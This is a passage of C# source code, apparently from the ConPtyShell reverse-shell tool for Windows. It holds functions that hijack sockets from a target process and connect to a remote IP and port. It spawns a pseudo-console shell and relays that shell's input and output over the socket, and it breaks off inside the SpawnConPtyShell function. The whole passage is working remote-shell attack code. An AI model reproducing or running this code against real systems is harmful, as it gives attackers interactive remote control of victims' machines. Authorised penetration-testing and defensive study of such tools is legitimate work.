WSA_FLAG_OVERLAPPED) != 0) ret = true; 716 | return ret; 717 | } 718 | 719 | public static IntPtr DuplicateTargetProcessSocket(Process targetProcess, ref bool overlappedSocket) 720 | { 721 | IntPtr targetSocketHandle = IntPtr.Zero; 722 | List targetProcessSockets = GetSocketsTargetProcess(targetProcess); 723 | if (targetProcessSockets.Count < 1) return targetSocketHandle; 724 | else 725 | { 726 | foreach (IntPtr socketHandle in targetProcessSockets) 727 | { 728 | // we prioritize the hijacking of Overlapped sockets 729 | if (!IsSocketOverlapped(socketHandle)) 730 | { 731 | // Console.WriteLine("debug: Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping..."); 732 | continue; 733 | } 734 | targetSocketHandle = socketHandle; 735 | overlappedSocket = true; 736 | break; 737 | } 738 | // no Overlapped sockets found, expanding the scope by including also Non-Overlapped sockets 739 | if (targetSocketHandle == IntPtr.Zero) { 740 | // Console.WriteLine("debug: No overlapped sockets found. Trying to return also non-overlapped sockets..."); 741 | foreach (IntPtr socketHandle in targetProcessSockets) 742 | { 743 | targetSocketHandle = socketHandle; 744 | if (!IsSocketOverlapped(targetSocketHandle)) overlappedSocket = false; 745 | break; 746 | } 747 | } 748 | } 749 | if (targetSocketHandle == IntPtr.Zero) 750 | throw new ConPtyShellException("No sockets found, so no hijackable sockets :( Exiting..."); 751 | return targetSocketHandle; 752 | } 753 | public static void SetSocketBlockingMode(IntPtr socket, int mode) 754 | { 755 | int FIONBIO = -2147195266; 756 | int NonBlockingMode = 1; 757 | int BlockingMode = 0; 758 | int result; 759 | if (mode == 1) 760 | result = ioctlsocket(socket, FIONBIO, ref NonBlockingMode); 761 | else 762 | result = ioctlsocket(socket, FIONBIO, ref BlockingMode); 763 | if (result == -1) 764 | throw new ConPtyShellException("ioctlsocket failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); 765 | } 766 | } 767 | 768 | // source from --> https://stackoverflow.com/a/3346055 769 | [StructLayout(LayoutKind.Sequential)] 770 | public struct ParentProcessUtilities 771 | { 772 | // These members must match PROCESS_BASIC_INFORMATION 773 | internal IntPtr Reserved1; 774 | internal IntPtr PebBaseAddress; 775 | internal IntPtr Reserved2_0; 776 | internal IntPtr Reserved2_1; 777 | internal IntPtr UniqueProcessId; 778 | internal IntPtr InheritedFromUniqueProcessId; 779 | 780 | [DllImport("ntdll.dll")] 781 | private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); 782 | 783 | public static Process GetParentProcess() 784 | { 785 | return GetParentProcess(Process.GetCurrentProcess().Handle); 786 | } 787 | 788 | public static Process GetParentProcess(int id) 789 | { 790 | Process process = Process.GetProcessById(id); 791 | return GetParentProcess(process.Handle); 792 | } 793 | 794 | public static Process GetParentProcess(IntPtr handle) 795 | { 796 | ParentProcessUtilities pbi = new ParentProcessUtilities(); 797 | int returnLength; 798 | int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); 799 | if (status != 0) 800 | throw new ConPtyShellException(status.ToString()); 801 | try 802 | { 803 | return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); 804 | } 805 | catch (ArgumentException) 806 | { 807 | // not found 808 | return null; 809 | } 810 | } 811 | } 812 | 813 | public static class ConPtyShell 814 | { 815 | private const string errorString = "{{{ConPtyShellException}}}\r\n"; 816 | private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; 817 | private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; 818 | private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; 819 | private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; 820 | private const int STARTF_USESTDHANDLES = 0x00000100; 821 | private const int BUFFER_SIZE_PIPE = 1048576; 822 | private const int WSA_FLAG_OVERLAPPED = 0x1; 823 | private const UInt32 INFINITE = 0xFFFFFFFF; 824 | private const int SW_HIDE = 0; 825 | private const uint GENERIC_READ = 0x80000000; 826 | private const uint GENERIC_WRITE = 0x40000000; 827 | private const uint FILE_SHARE_READ = 0x00000001; 828 | private const uint FILE_SHARE_WRITE = 0x00000002; 829 | private const uint FILE_ATTRIBUTE_NORMAL = 0x80; 830 | private const uint OPEN_EXISTING = 3; 831 | private const int STD_INPUT_HANDLE = -10; 832 | private const int STD_OUTPUT_HANDLE = -11; 833 | private const int STD_ERROR_HANDLE = -12; 834 | private const int WSAEWOULDBLOCK = 10035; 835 | private const int FD_READ = (1 << 0); 836 | 837 | 838 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 839 | private struct STARTUPINFOEX 840 | { 841 | public STARTUPINFO StartupInfo; 842 | public IntPtr lpAttributeList; 843 | } 844 | 845 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 846 | private struct STARTUPINFO 847 | { 848 | public Int32 cb; 849 | public string lpReserved; 850 | public string lpDesktop; 851 | public string lpTitle; 852 | public Int32 dwX; 853 | public Int32 dwY; 854 | public Int32 dwXSize; 855 | public Int32 dwYSize; 856 | public Int32 dwXCountChars; 857 | public Int32 dwYCountChars; 858 | public Int32 dwFillAttribute; 859 | public Int32 dwFlags; 860 | public Int16 wShowWindow; 861 | public Int16 cbReserved2; 862 | public IntPtr lpReserved2; 863 | public IntPtr hStdInput; 864 | public IntPtr hStdOutput; 865 | public IntPtr hStdError; 866 | } 867 | 868 | [StructLayout(LayoutKind.Sequential)] 869 | private struct PROCESS_INFORMATION 870 | { 871 | public IntPtr hProcess; 872 | public IntPtr hThread; 873 | public int dwProcessId; 874 | public int dwThreadId; 875 | } 876 | 877 | [StructLayout(LayoutKind.Sequential)] 878 | private struct SECURITY_ATTRIBUTES 879 | { 880 | public int nLength; 881 | public IntPtr lpSecurityDescriptor; 882 | public int bInheritHandle; 883 | } 884 | 885 | [StructLayout(LayoutKind.Sequential)] 886 | private struct COORD 887 | { 888 | public short X; 889 | public short Y; 890 | } 891 | 892 | [StructLayout(LayoutKind.Sequential)] 893 | private struct WSAData 894 | { 895 | public short wVersion; 896 | public short wHighVersion; 897 | public short iMaxSockets; 898 | public short iMaxUdpDg; 899 | public IntPtr lpVendorInfo; 900 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] 901 | public string szDescription; 902 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] 903 | public string szSystemStatus; 904 | } 905 | 906 | [StructLayout(LayoutKind.Sequential)] 907 | private struct SOCKADDR_IN 908 | { 909 | public short sin_family; 910 | public short sin_port; 911 | public uint sin_addr; 912 | public long sin_zero; 913 | } 914 | 915 | [DllImport("kernel32.dll", SetLastError = true)] 916 | [return: MarshalAs(UnmanagedType.Bool)] 917 | private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); 918 | 919 | [DllImport("kernel32.dll", SetLastError = true)] 920 | [return: MarshalAs(UnmanagedType.Bool)] 921 | private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); 922 | 923 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 924 | [return: MarshalAs(UnmanagedType.Bool)] 925 | private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 926 | 927 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] 928 | private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 929 | 930 | [DllImport("kernel32.dll", SetLastError = true)] 931 | [return: MarshalAs(UnmanagedType.Bool)] 932 | private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); 933 | 934 | [DllImport("kernel32.dll", SetLastError = true)] 935 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 936 | 937 | [DllImport("kernel32.dll", SetLastError = true)] 938 | private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); 939 | 940 | [DllImport("kernel32.dll", SetLastError = true)] 941 | private static extern IntPtr GetStdHandle(int nStdHandle); 942 | 943 | [DllImport("kernel32.dll", SetLastError = true)] 944 | private static extern bool CloseHandle(IntPtr hObject); 945 | 946 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 947 | private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); 948 | 949 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] 950 | private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); 951 | 952 | [DllImport("kernel32.dll", SetLastError = true)] 953 | private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); 954 | 955 | [DllImport("kernel32.dll", SetLastError = true)] 956 | private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); 957 | 958 | [DllImport("kernel32.dll", SetLastError = true)] 959 | private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); 960 | 961 | [DllImport("kernel32.dll", SetLastError = true)] 962 | private static extern int ClosePseudoConsole(IntPtr hPC); 963 | 964 | [DllImport("kernel32.dll", SetLastError = true)] 965 | private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); 966 | 967 | [DllImport("kernel32.dll", SetLastError = true)] 968 | private static extern bool GetConsoleMode(IntPtr handle, out uint mode); 969 | 970 | [DllImport("kernel32.dll")] 971 | [return: MarshalAs(UnmanagedType.Bool)] 972 | private static extern bool AllocConsole(); 973 | 974 | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] 975 | private static extern bool FreeConsole(); 976 | 977 | [DllImport("user32.dll")] 978 | private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 979 | 980 | [DllImport("kernel32.dll")] 981 | private static extern IntPtr GetConsoleWindow(); 982 | 983 | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] 984 | private static extern IntPtr GetModuleHandle(string lpModuleName); 985 | 986 | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] 987 | private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 988 | 989 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 990 | private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); 991 | 992 | [DllImport("ws2_32.dll", SetLastError = true)] 993 | private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); 994 | 995 | [DllImport("ws2_32.dll", SetLastError = true)] 996 | private static extern ushort htons(ushort hostshort); 997 | 998 | [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] 999 | private static extern uint inet_addr(string cp); 1000 | 1001 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] 1002 | private static extern Int32 WSAGetLastError(); 1003 | 1004 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1005 | private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); 1006 | 1007 | [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] 1008 | private static extern int closesocket(IntPtr s); 1009 | 1010 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1011 | private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); 1012 | 1013 | [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true)] 1014 | private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); 1015 | 1016 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1017 | private static extern IntPtr WSACreateEvent(); 1018 | 1019 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1020 | private static extern int WSAEventSelect(IntPtr s, IntPtr hEventObject, int lNetworkEvents); 1021 | 1022 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1023 | private static extern int WSAWaitForMultipleEvents(int cEvents, IntPtr[] lphEvents, bool fWaitAll, int dwTimeout, bool fAlertable); 1024 | 1025 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1026 | private static extern bool WSAResetEvent(IntPtr hEvent); 1027 | 1028 | [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] 1029 | private static extern bool WSACloseEvent(IntPtr hEvent); 1030 | 1031 | [DllImport("ntdll.dll")] 1032 | private static extern uint NtSuspendProcess(IntPtr processHandle); 1033 | 1034 | [DllImport("ntdll.dll")] 1035 | private static extern uint NtResumeProcess(IntPtr processHandle); 1036 | 1037 | private static void InitWSAThread() 1038 | { 1039 | WSAData data; 1040 | if (WSAStartup(2 << 8 | 2, out data) != 0) 1041 | throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); 1042 | } 1043 | 1044 | private static IntPtr connectRemote(string remoteIp, int remotePort) 1045 | { 1046 | int port = 0; 1047 | int error = 0; 1048 | string host = remoteIp; 1049 | 1050 | try 1051 | { 1052 | port = Convert.ToInt32(remotePort); 1053 | } 1054 | catch 1055 | { 1056 | throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); 1057 | } 1058 | 1059 | IntPtr socket = IntPtr.Zero; 1060 | socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); 1061 | SOCKADDR_IN sockinfo = new SOCKADDR_IN(); 1062 | sockinfo.sin_family = (short)2; 1063 | sockinfo.sin_addr = inet_addr(host); 1064 | sockinfo.sin_port = (short)htons((ushort)port); 1065 | 1066 | if (connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0) 1067 | { 1068 | error = WSAGetLastError(); 1069 | throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); 1070 | } 1071 | 1072 | return socket; 1073 | } 1074 | 1075 | private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) 1076 | { 1077 | Thread.Sleep(500);//little tweak for slower connections 1078 | byte[] received = new byte[100]; 1079 | int rowsTemp, colsTemp; 1080 | int bytesReceived = recv(shellSocket, received, 100, 0); 1081 | try 1082 | { 1083 | string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); 1084 | string rowsString = sizeReceived.Split(' ')[0].Trim(); 1085 | string colsString = sizeReceived.Split(' ')[1].Trim(); 1086 | if (Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)) 1087 | { 1088 | rows = (uint)rowsTemp; 1089 | cols = (uint)colsTemp; 1090 | } 1091 | } 1092 | catch 1093 | { 1094 | return; 1095 | } 1096 | } 1097 | 1098 | private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite) 1099 | { 1100 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1101 | pSec.nLength = Marshal.SizeOf(pSec); 1102 | pSec.bInheritHandle = 1; 1103 | pSec.lpSecurityDescriptor = IntPtr.Zero; 1104 | if (!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1105 | throw new ConPtyShellException("Could not create the InputPipe"); 1106 | if (!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) 1107 | throw new ConPtyShellException("Could not create the OutputPipe"); 1108 | } 1109 | 1110 | private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr) 1111 | { 1112 | oldStdIn = GetStdHandle(STD_INPUT_HANDLE); 1113 | oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1114 | oldStdErr = GetStdHandle(STD_ERROR_HANDLE); 1115 | IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1116 | IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); 1117 | SetStdHandle(STD_OUTPUT_HANDLE, hStdout); 1118 | SetStdHandle(STD_ERROR_HANDLE, hStdout); 1119 | SetStdHandle(STD_INPUT_HANDLE, hStdin); 1120 | } 1121 | 1122 | private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr) 1123 | { 1124 | SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut); 1125 | SetStdHandle(STD_ERROR_HANDLE, oldStdErr); 1126 | SetStdHandle(STD_INPUT_HANDLE, oldStdIn); 1127 | } 1128 | 1129 | private static void EnableVirtualTerminalSequenceProcessing() 1130 | { 1131 | uint outConsoleMode = 0; 1132 | IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); 1133 | if (!GetConsoleMode(hStdOut, out outConsoleMode)) 1134 | { 1135 | throw new ConPtyShellException("Could not get console mode"); 1136 | } 1137 | outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; 1138 | if (!SetConsoleMode(hStdOut, outConsoleMode)) 1139 | { 1140 | throw new ConPtyShellException("Could not enable virtual terminal processing"); 1141 | } 1142 | } 1143 | 1144 | private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols) 1145 | { 1146 | int result = -1; 1147 | EnableVirtualTerminalSequenceProcessing(); 1148 | COORD consoleCoord = new COORD(); 1149 | consoleCoord.X = (short)cols; 1150 | consoleCoord.Y = (short)rows; 1151 | result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); 1152 | return result; 1153 | } 1154 | 1155 | private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) 1156 | { 1157 | IntPtr lpSize = IntPtr.Zero; 1158 | bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); 1159 | if (success || lpSize == IntPtr.Zero) 1160 | { 1161 | throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); 1162 | } 1163 | STARTUPINFOEX startupInfo = new STARTUPINFOEX(); 1164 | startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); 1165 | startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); 1166 | success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); 1167 | if (!success) 1168 | { 1169 | throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); 1170 | } 1171 | success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero); 1172 | if (!success) 1173 | { 1174 | throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); 1175 | } 1176 | return startupInfo; 1177 | } 1178 | 1179 | private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) 1180 | { 1181 | PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); 1182 | SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); 1183 | int securityAttributeSize = Marshal.SizeOf(pSec); 1184 | pSec.nLength = securityAttributeSize; 1185 | SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); 1186 | tSec.nLength = securityAttributeSize; 1187 | bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); 1188 | if (!success) 1189 | { 1190 | throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); 1191 | } 1192 | return pInfo; 1193 | } 1194 | 1195 | private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine) 1196 | { 1197 | STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); 1198 | PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); 1199 | return processInfo; 1200 | } 1201 | 1202 | private static void ThreadReadPipeWriteSocketOverlapped(object threadParams) 1203 | { 1204 | object[] threadParameters = (object[])threadParams; 1205 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1206 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1207 | int bufferSize = 8192; 1208 | bool readSuccess = false; 1209 | Int32 bytesSent = 0; 1210 | uint dwBytesRead = 0; 1211 | do 1212 | { 1213 | byte[] bytesToWrite = new byte[bufferSize]; 1214 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1215 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1216 | } while (bytesSent > 0 && readSuccess); 1217 | // Console.WriteLine("debug: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1218 | } 1219 | 1220 | private static void ThreadReadPipeWriteSocketNonOverlapped(object threadParams) 1221 | { 1222 | object[] threadParameters = (object[])threadParams; 1223 | IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; 1224 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1225 | int bufferSize = 8192; 1226 | bool readSuccess = false; 1227 | Int32 bytesSent = 0; 1228 | uint dwBytesRead = 0; 1229 | do 1230 | { 1231 | byte[] bytesToWrite = new byte[bufferSize]; 1232 | readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); 1233 | // Console.WriteLine("debug ThreadReadPipeWriteSocket ReadFile: dwBytesRead = " + dwBytesRead + " Marshal.GetLastWin32Error() " + Marshal.GetLastWin32Error()); 1234 | do 1235 | { 1236 | bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); 1237 | // Console.WriteLine("debug ThreadReadPipeWriteSocket send: bytesSent = " + bytesSent + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1238 | } while (WSAGetLastError() == WSAEWOULDBLOCK); 1239 | } while (bytesSent > 0 && readSuccess); 1240 | } 1241 | 1242 | private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket, bool overlappedSocket) 1243 | { 1244 | object[] threadParameters = new object[2]; 1245 | threadParameters[0] = OutputPipeRead; 1246 | threadParameters[1] = shellSocket; 1247 | Thread thThreadReadPipeWriteSocket; 1248 | if(overlappedSocket) 1249 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketOverlapped); 1250 | else 1251 | thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocketNonOverlapped); 1252 | thThreadReadPipeWriteSocket.Start(threadParameters); 1253 | return thThreadReadPipeWriteSocket; 1254 | } 1255 | 1256 | private static void ThreadReadSocketWritePipeOverlapped(object threadParams) 1257 | { 1258 | object[] threadParameters = (object[])threadParams; 1259 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1260 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1261 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1262 | int bufferSize = 8192; 1263 | bool writeSuccess = false; 1264 | Int32 nBytesReceived = 0; 1265 | uint bytesWritten = 0; 1266 | do 1267 | { 1268 | byte[] bytesReceived = new byte[bufferSize]; 1269 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1270 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1271 | } while (nBytesReceived > 0 && writeSuccess); 1272 | // Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1273 | TerminateProcess(hChildProcess, 0); 1274 | } 1275 | 1276 | private static void ThreadReadSocketWritePipeNonOverlapped(object threadParams) 1277 | { 1278 | object[] threadParameters = (object[])threadParams; 1279 | IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; 1280 | IntPtr shellSocket = (IntPtr)threadParameters[1]; 1281 | IntPtr hChildProcess = (IntPtr)threadParameters[2]; 1282 | int bufferSize = 8192; 1283 | bool writeSuccess = false; 1284 | Int32 nBytesReceived = 0; 1285 | uint bytesWritten = 0; 1286 | bool socketBlockingOperation = false; 1287 | IntPtr wsaReadEvent = WSACreateEvent(); 1288 | // we expect the socket to be non-blocking at this point. we create an asynch event to be signaled when the recv operation is ready to get some data 1289 | WSAEventSelect(shellSocket, wsaReadEvent, FD_READ); 1290 | IntPtr[] wsaEventsArray = new IntPtr[] { wsaReadEvent }; 1291 | do 1292 | { 1293 | byte[] bytesReceived = new byte[bufferSize]; 1294 | WSAWaitForMultipleEvents(wsaEventsArray.Length, wsaEventsArray, true, 500, false); 1295 | nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); 1296 | // we still check WSAEWOULDBLOCK for a more robust implementation 1297 | if (WSAGetLastError() == WSAEWOULDBLOCK) 1298 | { 1299 | socketBlockingOperation = true; 1300 | continue; 1301 | } 1302 | WSAResetEvent(wsaReadEvent); 1303 | socketBlockingOperation = false; 1304 | // Console.WriteLine("debug: ThreadReadSocketWritePipe recv: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); 1305 | writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); 1306 | // Console.WriteLine("debug ThreadReadSocketWritePipe WriteFile: bytesWritten = " + bytesWritten + " Marshal.GetLastWin32Error() = " + Marshal.GetLastWin32Error()); 1307 | } while (socketBlockingOperation || (nBytesReceived > 0 && writeSuccess)); 1308 | WSACloseEvent(wsaReadEvent); 1309 | TerminateProcess(hChildProcess, 0); 1310 | } 1311 | 1312 | private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess, bool overlappedSocket) 1313 | { 1314 | object[] threadParameters = new object[3]; 1315 | threadParameters[0] = InputPipeWrite; 1316 | threadParameters[1] = shellSocket; 1317 | threadParameters[2] = hChildProcess; 1318 | Thread thReadSocketWritePipe; 1319 | if(overlappedSocket) 1320 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeOverlapped); 1321 | else 1322 | thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipeNonOverlapped); 1323 | thReadSocketWritePipe.Start(threadParameters); 1324 | return thReadSocketWritePipe; 1325 | } 1326 | 1327 | public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) 1328 | { 1329 | IntPtr shellSocket = IntPtr.Zero; 1330 | IntPtr InputPipeRead = IntPtr.Zero; 1331 | IntPtr InputPipeWrite = IntPtr.Zero; 1332 | IntPtr OutputPipeRead = IntPtr.Zero; 1333 | IntPtr OutputPipeWrite = IntPtr.Zero; 1334 | IntPtr handlePseudoConsole = IntPtr.Zero; 1335 | IntPtr oldStdIn = IntPtr.Zero; 1336 | IntPtr oldStdOut = IntPtr.Zero; 1337 | IntPtr oldStdErr = IntPtr.Zero; 1338 | bool newConsoleAllocated = false; 1339 | bool parentSocketInherited = false; 1340 | bool grandParentSocketInherited = false; 1341 | bool conptyCompatible = false; 1342 | bool IsSocketOverlapped = true; 1343 | string output = ""; 1344 | Process currentProcess = null; 1345 | Process parentProcess = null; 1346 | Process grandParentProcess = null; 1347 | if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) 1348 | conptyCompatible = true; 1349 | PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); 1350 | CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); 1351 | // comment the below function to debug errors 1352 | InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); 1353 | // init wsastartup stuff for this thread 1354 | InitWSAThread(); 1355 | if (conptyCompatible) 1356 | { 1357 | Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); 1358 | if (upgradeShell) 1359 | { 1360 | List socketsHandles = new List(); 1361 | currentProcess = 